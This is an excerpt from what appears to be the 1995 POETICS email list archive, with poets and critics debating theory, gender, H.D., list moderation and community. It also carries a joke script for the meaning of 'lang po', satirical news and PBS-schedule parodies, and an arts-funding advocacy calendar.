Touche'. Personally speaking, I didn't bring her up because: (a) I haven't read enough of her work to feel comfortable doing that; (b) others (notably Barbara Guest) have written extensively about her; and (c) because I haven't yet started to read her work, I didn't know if she was appropriate to bring up in the context in which I brought up Loy, Stein & Barnes.

While I've got you here, Michael: loved your "Well, sometimes you get there and sometimes/ the there gets you, a simple fact of how/ turns it, a space of shifting constellations// at war with the mill"--from your series of poems in the new _First Intensity_. Very nice, that; liked the whole series, actually.

Gary Sullivan

On Sat, 25 Feb 1995, Michael Boughn wrote:

> *It's interesting that the recent posts from Gary Sullivan, Jennifer Raney, Chris Stroffolino, etc. citing modernist women writers have all omitted reference to H.D. Why is this? (I'm really not trying to guilt anyone into including her, I'm just interested in why she has (once again) been excluded.) Any answers? (Keeping in mind the significance of repression and omission).*
>
> *Best,*
> *Mike*
> [redacted]

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450. **kathryne lindberg**
Re: theory
Sat 25 Feb 1995

My disk has been full and has prevented me from responding for some time. Anyway, I have to note that Larry Grossberg speaking of doing pure theory must provoke peels of laughter. My goodness. There is also something

laughable about this talk of boy vs girl// theory vs practice. I suppose there might be no escaping certain essential desires to repeat the same old shit, but really!!! It was not any particular woman who exposed Freud's misogyny, he wrote it there for all to see. Furthermore, Hegel's bold statement that neither women nor Blacks could DO philosophy was hardly unprecedented. What can one say to such statements? It seems to me that they speak their own hysteria. I became aware recently of how sad this state of affairs remains when, in a theory group I was leading, I said, "well, one is tired of white boys business as usual." One of my male colleagues, feeling interpellated, it seems, said that he didn't like being referred to as a boy. Shit, the things that remain unquestioned!!!! I would hope, in any case, that ideas about policing the list that appear in such words as those I read in a post my Michael Boughn (pronounced Bone, I would say) that one should "get some police" in order to keep the list "hard, precise, penetrating" would be read as both high parody and hysteria. Moments like that, even just the sound of, "police," "precise," "penetrating" over the supposedly eviscerated electronic net, would be argument enough to open the list--even if, as one bro. suggested, one decides to read only the postings from the "names" one knows to be guantors of interesting stuff.A cop with a big cock, who could resist? Who among us would cast. . .

In any case, theory aside, I have noticed that certain sorts of behaviors are expected by women, others suspect. I wonder, though, how the name or category WOMEN seems again so clear. This list, if I may say so, seems to have fallen for several rather worn labels and strategies. I was especially struck, after so many interesting (??) postings about poetry and the "public" to see a suggestion that certain things should be kept off or in another list; that some things should not be put before "the public." Is this list now the long lamented absent public. Funny, too, that public should also devolve to PUBIK, as Ted Joans might pun.

Oh, sorry. Puns, let alone irony, insinuation, and insolence aren't, any more than invidious profanity (?), particularly woman-ish. How about getting away from the program, boys and girls?

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451. Chris Stroffolino

Re: theory & truth

Sat 25 Feb 1995

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the pen may be mightier than the theory, but is the theory the same thing as the sword?

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452. Colleen Lookingbill
Re: Gender and theory
Sat 25 Feb 1995

Having just subscribed 2 weeks ago I am new to this kind of list email thing. Wanted to put my woman's voice into the mix. We are all survivors of patriarchy, that fact is genderless. How you choose to respond to that fact is up to your response - ability. The kind of continuous one-upsmanship, king of the heap games that are seem apparent on this list are characteristic of a patriarchal system in my opinion.

About what Alan Golding wrote: "On the recent theory exchanges: interesting that the theory discussion and the boy/girl talk have been going on simultaneously but in parallel lines, without much crossover. What's the relation between theory (the tendency to theorize, the kind of theorizing that gets done) and gender?"

I found the gender discussion to be the more interesting of the two threads. To me the theory discussion seems kind of weird - do I really read that some people are saying that to be a good poet you have to be a theorist as well? Sorry, but this makes no sense to me. Unless the idea is that by writing and thinking about what you write and how effectively your creativity is working you are doing theory. Theory that interests me the most is more experiential - based on this is what has happened to me or what I have observed in the stream of life and this is what I think about that, less academic in nature than what is being posted, I'd say. I'm willing to read the more technical and academic stuff, but probably less likely to participate in those discussions. Don't know if this is gender based, but it might be, does seem to fit in a little with what other women are saying about responding more to the personal.

from Colleen Lookingbill
P.S. - Don't divide the list - sounds like a control issue to me!

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453. Susan Schultz
Re: POETICS Digest - 23 Feb 1995 to 24 Feb 1995
Sat 25 Feb 1995

Ron and Keith and other interested parties: the way to subscribe to the "New Formalist" list (to be fair, they're a bit more eclectic than that) is to write to [redacted][.] At present they're locking horns about obscurity.

Susan

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454. **Belle Gironda**
One Poet One Channel
Sat 25 Feb 1995

Subject: Main poetics channel to reject messages
Copyright: 1999 by The Anti-Hegemony Project
Date: 20 Jul 99 66:6 6:66 EST

Lines: 32

CYBERSPACE (AHP) - New York State's main state-run poetics channel said yesterday it would stop posting responses to messages because they were causing too much social disruption. BoweryBoysVision (BBV) made the surprise announcement just a week after President James Sherry imposed a ban on discussion of ``ice cream'' and ``personal well being,'' a move industry executives said would hit the major poetics channels. An announcer on the main evening news read out a statement from BBV directors saying the outpouring of chat had recently ``been the source of great irritation and disappointment.'' ``Therefore we have taken the decision to stop broadcasting personal messages until strict rules are set up to regulate discussion in interests of the economic development of society and ethnical norms.''

---More---

Group bleari.nooz.censorship available: 2001 - 2525 unread: 1984

article 1939 4-JUL-1999 12:00:00

The statement did not say when the ban would come into effect or how BBV would make up the huge loss of programming such a step would entail. BBV and its main rival, the Co-poetry News Network (CNN), came under heavy fire last year for showing continuous advertisements by the ``Freely Espousing'' investment fund, which lured millions of poets into parting with their work just before share prices were slashed. Although the government declined to ban ``Freely Espousing,'' this and other poetics projects were relegated to subsidiary channels. ``Our task is to create mutual understanding and agreement in society,'' the BBV statement said at the time. ``In the best of all possible worlds,'' said Sherry, ``the one man one vote principle would be extended to poetivision -- one poet one channel.'' The new ban, which comes into effect from the moment it is published in tomorrow's official government digest, said poets defying the ban would be sued and their words appropriated for use in Lang-Po Labs infomercials.

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455. **Gary Sullivan**
Where to find Thorpe's books
Sat 25 Feb 1995

Everyone:

Many responses backchannel re: Thorpe, asking where to find his books. I believe (last time I checked) Small Press Distribution has the four I mentioned. Most of you have that address, but maybe not everyone (it's a great one to have, if you don't):

Small Press Distribution
1814 San Pablo Avenue
Berkeley, CA 94702 USA
[redacted]

Write or call them for a catalog--I *think* the catalog's free. Anyone in the Minneapolis-St. Paul area can borrow my copies of Thorpe's books; just ask.

I was told by someone not on this list that Thorpe does have a book of "theory" out (I stand corrected). It's not in SPD's catalog; it was a mimeo or Xeroxed & stapled book that (maybe) Duncan McNaughton published. Whether or not copies are still available's uncertain. Stephen Ratcliffe, do you know?

--Gary

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456. **John Cayley**
Re: Li Lang Po
Sat 25 Feb 1995

Li and Lang Po are definite not related although they do have something in common. Li is the surname, so it is Po that they share, perhaps unsurprisingly.

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457. **Gary Sullivan**
Re: theory
Sun 26 Feb 1995

Dear Kathryne:

I thought, when I read Michael's post, it was tongue-in-cheek, and that he was *against* the idea of "policing." Maybe I need to switch to a breakfast cereal without the added irony?

Anyway, I agree with you that the list shouldn't be regulated, policed, and certainly not divided up. The whole point seems to be to bring poets & critics &

afficionados together, & see what happens. We're not here to perform Shakespeare. (Unless we want to do that, too, I guess.)

As to the whole "boy/girl" discussion, I don't think anyone here is saying that men & women have different capacities for and/or interests in theory. I've liked reading what people have to say about this, actually; it seems to be one of the more generative topics currently under discussion. I know Colleen Lookingbill, and her post in re this subject was one of the few times I've read what she has to say about "how" she writes, what drives it. It was nice to get that. I'd like her poetry regardless of whether or not she ever wanted to talk privately or publicly about it, but this was a nice bonus, reading her confirm what I'd suspected--that hers is a poetry of personal experience (despite how it might otherwise appear at first glance).

But, we sometimes have to ask questions to get at this stuff, to get people talking about X, Y, or Z, and sometimes, granted, the questions might seem simplistic, or backwards, or whathaveyou. A week or so before I got on this list, someone told me that someone (& my memory's not the best, so forgive me if I don't get this completely right) had said that they were afraid that people might think them "dumb" if they asked questions or responded, and someone else had responded: "What's wrong with that?" I totally agree. Someone once said that there are no correct answers, only correct questions. (Or something to that effect.) Well, how do you know which questions are the "right" ones until you've started asking?

Anyway. I did appreciate your post. Thanks.

--Gary

On Sat, 25 Feb 1995, kathryne lindberg wrote:

> *My disk has been full and has prevented me from responding for some time.*
> *Anyway, I have to note that Larry Grossberg speaking of doing*
> *pure theory must provoke peels of laughter. My goodness.*
> *There is also something laughable about this talk of boy vs girl//*
> *theory vs practice. I suppose there might be no escaping certain*
> *essential desires to repeat the same old shit, but really!!!*
> *It was not any particular woman who exposed Freud's misogyny, he wrote it*
> *there for all to see. Furthermore, Hegel's bold statement that neither*
> *women nor Blacks could DO philosophy was hardly unprecedented. What can*
> *one say to such statements? It seems to me that they speak their own*
> *hysteria. I became aware recently of how sad this state of affairs remains*
> *when, in a theory group I was leading, I said, "well, one is tired of*
> *white boys business as usual." One of my male colleagues, feeling*
> *interpellated, it seems, said that he didn't like being referred to as*
> *a boy. Shit, the things that remain unquestioned!!!! I would hope, in*
> *any case, that ideas about policing the list that appear in such words as*
> *those I read in a post my Michael Boughn (pronounced Bone, I would say)*

> *that one should "get some police" in order to keep the list "hard, precise, penetrating" would be read as both high parody and hysteria. Moments like that, even just the sound of, "police," "precise," "penetrating" over the supposedly eviscerated electronic net, would be argument enough to open the list--even if, as one bro. suggested, one decides to read only the postings from the "names" one knows to be guantors of interesting stuff.A cop with a big cock, who could resist? Who among us would cast. . .*
>
> *In any case, theory aside, I have noticed that certain sorts of behaviors are expected by women, others suspect. I wonder, though, how the name or category WOMEN seems again so clear. This list, if I may say so, seems to have fallen for several rather worn labels and strategies. I was especially struck, after so many interesting (??) postings about poetry and the "public" to see a suggestion that certain things should be kept off or in another list; that some things should not be put before "the public." Is this list now the long lamented absent public. Funny, too, that public should also devolve to PUBIK, as Ted Joans might pun.*
>
> *Oh, sorry. Puns, let alone irony, insinuation, and insolence aren't, any more than invidious profanity (?), particularly woman-ish. How about getting away from the program, boys and girls?*

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458. **Gary Sullivan**
To Ira, & all
Sun 26 Feb 1995

Dear Ira:

Thank you much for such a well-considered response. I'd backchannel this to you, but you probably weren't the only one who felt I was attacking Marjorie, so I'd like to address that. I was, certainly, put off by what I felt to be Marjorie's pooh-poohing of the great unwashed on this list, the people she doesn't know. My post was not meant as an attack. I was questioning her, questioning specifically her raising the issue of cleansing the list of undesireables. (The fact that I've read _Radical Artifice_ [and other of her books] seems to suggest I've granted her a certain amount of respect, moreso than she seems to want to grant to her non-chums on this list.) I'd meant to suggest that, if she was more open to listening to & being available to others outside of her circle of friends (which we all have, of course), it would make her criticism--which I think is fine--even more valuable. Someone suggested to me, "backchannel," that Marjorie is a "friendly" critic, not an "enemy" critic. I don't think of critics (or reporters, like Dinitia Smith) as either. I do think she has a certain amount of responsibility, especially as such a visible critic (one of few mentioned in that

Times article). And the questions I posted to her were originally questions that came up as I was reading _Radical Artifice_ a year or so ago. I liked the book, was definitely "on her side" reading it, but if *I* could have these questions about the appropriateness of certain work in that context, maybe I'm not the only one out here who does. Cape's (or Cope's?) "article" on foxhunting was too kind to me; I'm not 10, I'm more like 5 or 6--meaning I've only been reading & writing & thinking about poetry for 5 or 6 years--and if someone as new to this as I am sees or considers significant (Bern Porter) "missings" in a book on Media & Poetry ... well, it made me really begin to question the book, what it really was (beyond its stated intentions). I had always wanted to write to Marjorie about that book, and once I got onto this list, I saw an opportunity. Unfortunately, it arrived with what I felt was a very disappointing post of hers. If it hadn't been for that post, I'd still have asked, though perhaps not as indignantly. Despite all the things you say about her work, what it gives you (& I agree), I still have those questions. Assuming this "a" and "b" list (which I don't understand, being new) refers to groups of people ("a=stars" "b=unwashed") ... well, if it's ever implemented as such, I'm sure I'll never get any answers. Mostly my loss. Anyway, thanks very much for the response. It's much appreciated.

--Gary

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459. Thomas Bell
NYT article
Sun 26 Feb 1995

By way of brief introduction since this is my first post (I am a "boy" of fifty+ in truth and not posting under a male pseudonym): I am a psychologist in private practice in Nashville who has recently revived an interest in poetry and poetics with some minor success.

I think I a much more coherent and relevant article than Dinita, and one that raises some issues that are worthy of discussion. I do have to apologize for my anti-academic bias: this stems from earlier experiences of mine when I was an academic, and I have since moderated these views to some extent.

This article appeared in the November/December 1994 issue of _Educom Review_ the hard-copy journal of EDUCOM and is also on their gopher.

LIVING LANGUAGE

Today a child was shot in my daughter's school. Last week a local dealer was gunned down in a drive-by shooting. This is life today. In the _American Poetry Review_, Eavan Boland tells of distress at her inability to include "awkward and jagged pieces of reality" in the decorums of poetry she admires. Can can we afford a literature that doesn't deal with jagged andawkward reality?

Dana Gioia calls for poetry to become an important part of American culture when he asks, "Can Poetry Matter?" Poetry is read aloud today in coffeehouses and bars, even if it has not yet gotten all the way to the street. These are signals of the emerging reintegration of poetry and life.

In an even more significant development, vital and authentic poetry is appearing on the Internet and its byways. People who do not have a post-graduate degree in English are actually writing and reading poetry in discussion groups on bulletin boards, commercial services, and elsewhere on the "information superhighway," working to incorporate today's realities into today's e-literature. They do this in a way that traditional writing has never been able to do, at least in a way that reaches significant numbers of American readers and listeners.

The Internet is more than just another venue for writers. It has opened up the field for a new audience and new material whose vitality and authenticity give hope to those yearning to lead literature out of the academy and onto the computer screens of America, if not actually out onto the streets.

The essence of capturing a slice of life in poetry or prose lies in the struggle to express it well or authentically. These writers on the Internet are (with help from more experienced fellow writers) struggling to express life as they experience it. In more traditional and academic writing this vision is often missing. I think these "awful" or "bad" (see "Bards on the Internet", _Time_, July 4, 1994) writers are the wave of the future.

This e-poetry is seen by some as "awful" and, indeed, it does have its awful moments (and hours and days). But it is wrestling with a reality that doesn't require a post-graduate degree in writing to appreciate. Even though it has not yet found its appropriate form, that will come with time, as it did for the Russian revolutionary Futurists and others. The search for a new content and form in literature and other arts often accompanies social revolutions, and particularly those associated with technological change.

Since this poetry is seeking to express the essence of what the writers are experiencing, the appropriate form will likely reflect the vital (and even frenetic) rhythms of life today along with a fascination with e-life. Rap and beat and hip-hop song and poetry and poetry bands in bars are precursors of what will come, but the final flowering will happen on the Internet. It is here that the

electronic engineer who didn't want to, or wasn't allowed to, take advanced poetry writing courses has a chance to wrestle with her despair over American culture following the shooting of her little sister's friend on a suburban playground.

by Thomas Bell, Psy.D
[redacted]

[A [A [A [A.

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460. **Alan Golding**
community request
Sun 26 Feb 1995

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

David--(hello again; remember when we were on that Objectivists panel about 15 years ago)? My recommendation: Bob Perelman's "Money," in Virtual Reality (Roof, 1993).

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461. **Jorge Guitart**
the meaning of lang po
Sun 26 Feb 1995

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is it true that lang po means "inscrutable solace" in mandarin?

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462. **Tony Green**
Re: Arrows and Sparrows
Sun 26 Feb 1995

Hi Chris I go along with your sentiments and that list of yours which includes some I don't know (thanks for names).

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

↑ Index

463. Steven Howard Shoemaker
digesting poetics
Sun 26 Feb 1995

To all those worried about cluttered mailboxes: have you tried the "digest" option? The discussion does feel a little less "live" & somewhat more "archived," but it certainly helps to receive only one "message" per day rather than 30. It also makes it possible for me to print the whole thing out as one file if I get tired of perusing pixels.

On the other hand, it's a lot easier for a day or days to slip by w/out me getting around to poetics stuff at all. I guess my personal jury is still out, but i'd recommend that people give it a shot to see if it alleviates their particular difficulties with navigating the infopoglut.

steve shoemaker

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464. Michael Boughn
Re: More discipline
Sun 26 Feb 1995

George:

See, if we got our own List Police (we could call them the L-Team) they could round up those hokey personal messages, along with the bad puns, and throw them all in the pokey. Then it would be-- EEGADS!!--the HOKEY POKEY. Is this what it's all about?

Penetratingly yours,

M. "We-stand-on-guard-for-thee" Bone
[redacted]

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465. George Bowering
Re: More discipline
Mon 27 Feb 1995

Michael:

It's so depressing. I took my hockey equipment to the Kerrisdale laundrey of my choice before I went to Melbourne, and somehow on the trip I mislaid the ticket with which one redeems said paraphenalia. Well, all my blandishments did not work on the laundreyman. He just lookt me in the eye and said

(wait for it)

"No tickee, no hockey pucky!"

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466. **John Cayley**
the meaning of lang po
Mon 27 Feb 1995

> *is it true that lang po means "inscrutable solace" in mandarin?*

A number of posible replies:

1) Is it true that "lang po" means "tongue skin" in French?

2) Whose transciption system are we using? Hopeful assumption is that the LangPo-friendly will have gone over to the sinocentric system (pinyin) where 'P' approximates more to the 'P' of 'Po', but perhaps old liberal traditions die hard and Free-China-familiars are looking up a 'Po' that's more like 'Bo'. (... and what about the vowels?)

3) The only (commonish) surname with Lang as transcription is Lang2 (Xinhua Zidian 248.4). Perhaps a good choice in view of the boytalk thread because it was used as a pronoun-like word for young males and a word translatable as 'darling' which females addressed to males. The 'Po' surely has to be Po3 (Xinhua Zidian 337.2) 'impossible' (now only in literary registers). It's good graph too.

4) No. But you can be sure there is a dictionary out there somewhere that will answer yes.

5) Run this:

on theMeaning_ofLangPo put "darling,wolf,corridor,veranda,hammer,chain,mantis,light,bright, loud,clear,wave,billow,breaker,unrestrained,dissolute" into Lang put "lake,slope,sprinkle,spill,rude,unreasonable,shrewish,oblique, biased,partial,quite,rather,considerably,matchmaker,midwife,white, impossible,hackberry,compel,force,press,urgent,pressing,approach, broken,damaged,torn,break,split,destroy,defeat,capture,expose, reveal,paltry,lousy,soul,vigour,spirit" into Po put word (the random of the number of items in Lang) of Lang into Lang put word (the random of the number of items in Po) of Po into Po answer "the meaning of LangPo is " & Lang & space & Po end theMeaning_ofLangPo

(only slightly selective from _A Chinese-English Dictionary_, 1978)

Answer number 3 above would be "darling impossible" for example.

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467. **Marjorie Perloff**
Re: POETICS Digest - 25 Feb 1995 to 26 Feb 1995
Mon 27 Feb 1995

I do apologize to Gary S for sounding what he took to be dismissive of those "I don't know." I really didn't mean to sound that way. I was writing (so far as reading all the messages go) out of sincere perplexity as to time frames. Maybe it's just me but it seems that I'm totally overloaded with endless daily tasks that include writing on an average of a letter or two of recommendation a day, being graduate adviser and figuring out whether X can get rid of his or her language requirement by taking whatever "unusual" language or whether I can get around the Old English requirement by allowing someone to do Dante and so on. So I guess my complaint has less to do with the poetics discussion group than with a general perplexity as to how to get through the day in the current academy. Therefore, when I turned on the Mac at night and found all those endless messages, it seemed overwhelming. But now that I have it as a "digest" it's really much better. And it did bring in that piece from Ira, which is certainly one of the nicest reviews I've ever had. So who can complain?

Enough on that front for a while, I hope....

Marjorie

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468. **Spencer Selby**
Re: Response and Another Try
Mon 27 Feb 1995

I appreciate this forum, and I think it's great that more people are contributing, both women and men.

The following is an attempt to respond to all those who wrote me over the past week, plus others who didn't. It is also an attempt to clarify or do a better job of indicating certain feelings and concerns that I have about the literary world today.

1) My argument is not with theory per se. My argument involves claims that are made for theory, uses to which it is put and effects it often has.

2) I am for the freedom of the individual to think things through for hirself. To do that, s/he must fend off or overcome pressures to conform to correct ideas, which today are formidable.

3) I believe the discourse and social reality surrounding poetry has become more important than the poetry itself. When I said poetry was on its own level, that was nothing more than an attempt to counter this sense of skewed priority that I feel pervades the scene.

4) I am concerned about the degree to which all communication surrounding the poetry is framed as "literary politics." I am concerned about the dominance of this frame, the way it all becomes a game we play at to the detriment of our art and its greatest goals.

5) What's matters to people in this literary world is not community. What matters is spheres of influence. Each person's spheres are a little different and some have more or broader spheres than others. But these spheres are not communities because they are motivated and defined entirely by the dynamics of personal and literary influence.

6) Much energy is directed toward appreciating and understanding those within one's approximated spheres of influence. (The stronger the sphere or link, the more the energy.) Far too often, alienation is the keynote with respect to everyone else. Alienation and a tendency to project the blame and responsibility for problems onto an elsewhere as variously perceived or defined.

7) Denial is an important part of the game. There are many different ways of denial, too many to list here. It may be that denial, more than anything else, is what keeps people playing, what allows them to stay focused and do what is necessary to be a good competitor.

8) What about the person who can't or won't play this game? My feeling is, s/he doesn't have much chance. My feeling is, you're forced to play if you want to survive as a creatively engaged poet in this world today.

Spencer Selby

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469. H. T. KIRBY-SMITH
New Formalist List
Mon 27 Feb 1995

I just did a search in the archives of the recently-established CAP-L list (Contemporary American Poetry). In their discussions so far the word "iamb" does not appear and there seems little talk of formalism of any sort--new, old, or middle-aged. Isn't there a real good McCarthyite pigheaded sonnet-writing bunch of people somewhere? Or have they gone the way of the snail-darter? The list called "Prosody" has mostly been taken over by linguists, phonologists, phoneticists, etc and is very strong on things like glottal clicks.

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470. Michael Boughn
Re: New Formalist List
Mon 27 Feb 1995

Dear H.T. Kirby-Smith:

Although it's not specifically dedicated to poetry, the Philosophy-Literature list seems to contain many of the people you're looking for. I checked out a while ago, after the list boss proposed Timothy Steele as the height of American achievement in poetry.

Good hunting.
Mike
[redacted]

> *I just did a search in the archives of the recently-established CAP-L list (Contemporary American Poetry). In their discussions so far the word "iamb" does not appear and there seems little talk of formalism of any sort--new, old, or middle-aged. Isn't there a real good McCarthyite pigheaded sonnet-writing bunch of people somewhere? Or have they gone the way of the snail-darter?*
>
> *The list called "Prosody" has mostly been taken over by linguists, phonologists, phoneticists, etc and is very strong on things like glottal clicks.*

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471. Robert A Harrison
Tenderloin, etc.
Mon 27 Feb 1995

In response to Ron's, Spencer's, and Colleen's posts:

Ron, I DID frequent the Hospitality House, but as a painter, not a writer. The place is proof that there are lots of poets/artists out there that are interested in more than politics, and in being a part of a community that may not have much to give back in return in terms of professional advancement (or whatever the hell you call it). Without the Hospitality House, my stay in San Fran would have been worse, to say the least. And, man, I know a lot of the people that worked there worked for just a few pennies, for a living!

Spencer, I agree with you that theory is used as a power tool too often, and that at the same time it can be useful, and that the poem is what counts (if anything counts at all), whatever is brought to it. But isn't this politics bullshit something we're going to find ANYWHERE there is more than one person? I

hate it as much as you do, but I've never managed to get away from it. Wether its working with a road crew, living in a half-way house, buying hash in Morocco, or programming for a corporation. The trick seems to me to be that if it happens, to see that it doesn't happen destructively. Or, if it does happen in a "bad" way, to BURN it.

I just want to re-iterate one of Colleen's comments:

We are all survivors of patriarchy, that fact is genderless. How you choose to respond to that fact is up to your response - ability. The kind of continuous one-upsmanship, king of the heap games that seem apparent on this list are characteristic of a patriarchal system in my opinion.

I agree whole-heartedly. One up-manship?, shit, I thought that didn't exist in the poetry world (call me naive). As much as I want to read lots of theory (as general and almost meaningless as that term is), in response to anyone that wants to force it down my throat, well, I have lots and lots of crude responses to make. Plus a few things to throw. Is that unprofessional?

Bob Harrison

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472. Sheila Murphy
Thoughts About Engagement
Mon 27 Feb 1995

Spencer's most recent post quite clearly crystallizes some of the concerns that have been discussed around theory/participation/community and the like. His post brings to mind for me the extent to which it perhaps always has been true that there's little room, certainly in art, and probably in most things, for the pure entity of THE PROCESS AND WHAT'S MADE to exist without that entity's being propped up by loads of self promotion. An unspoken kind of currency exists in many realms of endeavor. Specifically, having "something to trade," some commodity to hold/exchange/seek that puts one on the board at all. This offering can take the form of publishing, producing programs, critical perspective published or spoken, and undoubtedly several more. Spoken opinion or assessment concerning someone's work, where and how it fits, what new ground it breaks, etc., has particularly high value associated with it. To me, it has always been true that this kind of exchange pattern has been present. But with the abundance of material and of distribution channels (be they small/large, unofficial/official), including the machines we can access to share them, there's been an escalation of need to create focus on any given work. (Sort out something that seems to deserve light) However people fare within this system, combined with their own needs for recognition, (and these are not the sole variables!) seems to connect to levels of frustration or levels of felt

reward. I suspect that the struggle to be counted forces many people to have to expend far more effort than they would choose just getting into the middle of things and being perceived as complete.. This, of course, can rob time from producing work one cares about producing.. I feel this among people in the earnings world, too. So much energy goes into getting one's name out about one's business services, etc., that there's too little time (sometimes) left for doing what one does. This whole issue seems pertinent to the theory question within the world of practice. I hate to put theory into the category of "must do," as though it were something no one would do if they didn't have to, because it's at least potentially worthy and elegant and illuminating an a thing unto itself. (Transcending the level of inventing a frame within which to illuminate what one is doing!) But for some people, at least the writing about writing aspect is a price to pay to get closer to what is wanted.

I have no particular answer for this except to say that the sooner one can pursue something at the center of her or his passionate concerns, without the requirement of having to "pay dues," the more satisfying and possibly meaningful the work can become. I suppose that dues paying will always be with us (But try not to think of it as often as I think about my work!)

Sheila Murphy

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473. RSILLIMA
PBS
Mon 27 Feb 1995

I didn't write this. Wish I had.

Ron Silliman

A TYPICAL DAILY PBS SCHEDULE IF THE PUBLIC BROADCASTING LEADERS CAVE IN TO REPUBLICAN PRESSURE

8:00 am Morning Stretch: Arnold Schwarzenegger does squats while reciting passages of "Atlas Shrugged."

9:00 am Mr. Rogers' Segregated Neighborhood: King Friday sings "Elitism is neat." The House Un-American Activities investigation of Mr. McFeely continues. Mr. Rogers explains why certain kids can't be his neighbor.

10:00 am Sesame Street: Jerry Falwell teaches Big Bird to be more judgemental. Oscar the Grouch plays substitute for Rush Limbaugh. Bert and Ernie are kicked out of the military. Jesse Helms bleaches all the Muppets white.

11:00 am Square One: A MathNet episode "Ernest Does Trickle-Down." Jim Varney explains how cutting taxes for the rich and spending more on defense will balance the budget.

Noon Washington Week in Review: Special guest Senator Bob Dole, explaining why the current pension crisis, budget deficit, bank closings, farm foreclosures, S & L bailouts, inflation, recession, job loss, and trade deficit can all be blamed on someone else.

1:00 pm Where in the world is Carmen San Diego? Guest detective Pat Buchanan helps kids build a wall around the U.S.

2:00 pm William F. Buckley's Firing Line: Guests George Will, Rush Limbaugh, John Sununu, Pat Buchanan, James Kilpatrick, Mona Charen, G. Gordon Liddy, Robert Novak, Bay Buchanan, Pat Robertson, Joseph Sobran, Paul Harvey, Phyllis Schafly, Maureen Reagan, and John McLaughlin bemoan the need for more conservative media voices.

3:00 pm Nature: Join James Watt and Charlton Heston as they use machine guns to bag endangered species.

4:00 pm NOVA: "Creationism: Discredited, but what the hell?"

5:00 pm Newt Ginrich News Hour: Clarence Thomas and Bob Packwood present in-depth personal reports on sexual harassment. Pat Buchanan says he is being shut out from national exposure.

6:00 pm Mystery Theater: Hercule Poirot, Jane Marple, Sherlock Holmes and Inspectors Morse and Maigret team up to investigate Whitewater.

7:00 pm Great Performances: Pat Buchanan is a guest conductor of Wagner's "Prelude to a Cultural War."

8:00 pm Masterpiece Theater: Ibsen's "A Doll's House." Phyllis Schafly improves this classic with an added scene where Nora gladly gives up her independence while her husband chains her to the stove.

9:30 pm Washington Week in Review: Guests George Will, Rush Limbaugh, John Sununu, Pat Buchanan, James Kilpatrick, Mona Charen, G. Gordon Liddy, Robert Novak, Bay Buchanan, Pat Robertson, Joseph Sobran, Paul Harvey, Phyllis Schafly, Maureen Reagan, and John McLaughlin discuss liberal media bias.

10:00 pm Adam Smith's Money World: How to Profit from Ozone Depletion

10:30 pm Nightly Business Report: Wall Street celebrates the end of all laws regarding antitrust, consumer protection, work-place safety, environmental protection, minimum wage and child labor.

11:00 pm Insights of Dan Quayle

11:01 pm Sign-Off

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474. **cris cheek**
E - speration and Communit - E, (sorr-e)
Mon 27 Feb 1995

Hi James, thanks for posting that rationale again. I must have missed it the first time, since I'm suddenly getting so much e-mail and ironically, find it hard to get the time to read it all. Also I tend to read shorter messages first with the express intention of going back to look more thoroughly over what look like longer, maybe more complex posts. Sometimes, I forget which ones I mean to go back to. Sometimes I'm printing certain posts out because I want to respond to them but also want to unclog the space. I'm thinking about this issue of community as raised recently. The size of this 'community' must be getting up towards that 250 which Ron identified for Tenderloin. I'm a (now relative) newcomer - it seems positively active, with a rapid convergence and hexvergence across agendas. Obviously more and more people are subscribing at present (any figures Loss) - there you see I just jumped from what was intended as a so-called backchannel message to what can now be addressed in part to the whole - is there an exponential volume at which point a list such as POETICS might take on either a debilitating or invigorating entropic quality ? Might not simply particularised 'loop', as you term them, agendas achieve a measure of what might help ? I don't appear to be alone in being excited by the way this list is developing ? What percentage of people's posts are sent to all subscribers ? My experience is of posting two-thirds 'privately' and one third 'publicly' but of getting public to private in a ratio of 2:1.

This list seems yet to be poised to address the issues raised by how to go beyond being merely a community of interests to becoming a community of evolving friendships and alliances that both is and also furthers the development of the work.

cris

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475. **James Sherry**
Re: E - speration and Communit - E, (sorr-e)
Mon 27 Feb 1995

Yes, cris, I think that the list at its best can be both interesting in and of itself in terms of the discussions we can have on it ANd generative of independent relationships on both one-to-one and sub-group levels. The effective limits of community are not yet clear, but from several people's perspective they relate

to the number of messages one can get through considering the available time. This obviously differs for different people, so the quantifying of community is not possible at a single value for all participants. What I am looking for is a suggestion how to "customize" each person's community according to their capacity and interest. It's a hard question, but I think one worth working on. It has a lot of assumptions that need to be exposed before we can get too far. Clearly the group has about 3-1 rejected a simple division by message type. But as you point out the question does not go away. I'd still appreciate hearing further responses at this new level. James

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476. **James Sherry**
Re: Thoughts About Engagement
Mon 27 Feb 1995

From my point of view the question arose about 20 years ago in response to the New Criticism's perspective, which you and Spencer have affinity for although not congruence with, that only the poem in itself is a valid carrier of meaning. Several dozen people have been workingfor 20 years to expand the view. James

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477. **Steve Evans**
Espousing 2/27
Mon 27 Feb 1995

Hello again everyone. What follows are the results of my dipping back into the data-stream after a few refreshing days in Louisville (where Alan Golding's efforts made for a wonderful 20th-Century Lit Conference). Hope you can use some of the info:

+ WORKING CALENDAR FOR MARCH 1995
+ NEA FUNDING IN SAN DIEGO LAUDED BY REP. BOB FILNER
+ PROPOSED RESCISSIONS
+ SENATE EDUCATION, ARTS AND HUMANITIES SUBCOM (2/23)
+ AMERICAN ARTS ALLIANCE WEB & GOPHER SITES
+ NCFE/NAAO POSTCARDS AVAILABLE
+ DAY OF CAMPUS ACTION AGAINST CONTRACT ON AMERICA

MARCH CALENDAR

1 Mar Senate Interior Appropriations Subcommittee, Rep. Slade Gorton (R-WA), chair. Witnesses: Sheldon Hackney and Jane Alexander

2 Mar NEH reauthorization hearings continue in Senate Labor and Human Resources Subcom on Education, Arts, and the Humanities

3 Mar House Interior Appropriations Subcommittee (FY96 funding), Rep. Ralph Regula (R-OH), chair. Subject: National Gallery of Art and Kennedy Center

14 Mar National Advocacy Day <See Espousing Update 2/17/95 for more information>

21 Mar House Interior Appropriatons Subcommittee (FY96 funding), Rep. Ralph Regula (R-OH), chair. Subject: NEH and IMS

29 Mar Day of Campus Action Against Contract on America (alternate date for campuses not in session on the 29th is 23 March). <See below for more information>

<Please send additions and corrections to [redacted].>

WORK OF NEA IN SAN DIEGO DEFENDED BY REP. BOB FILNER

On 24 February 1995, Democrat Bob Filner made the following remarks in the context of defending federal funding for the arts:

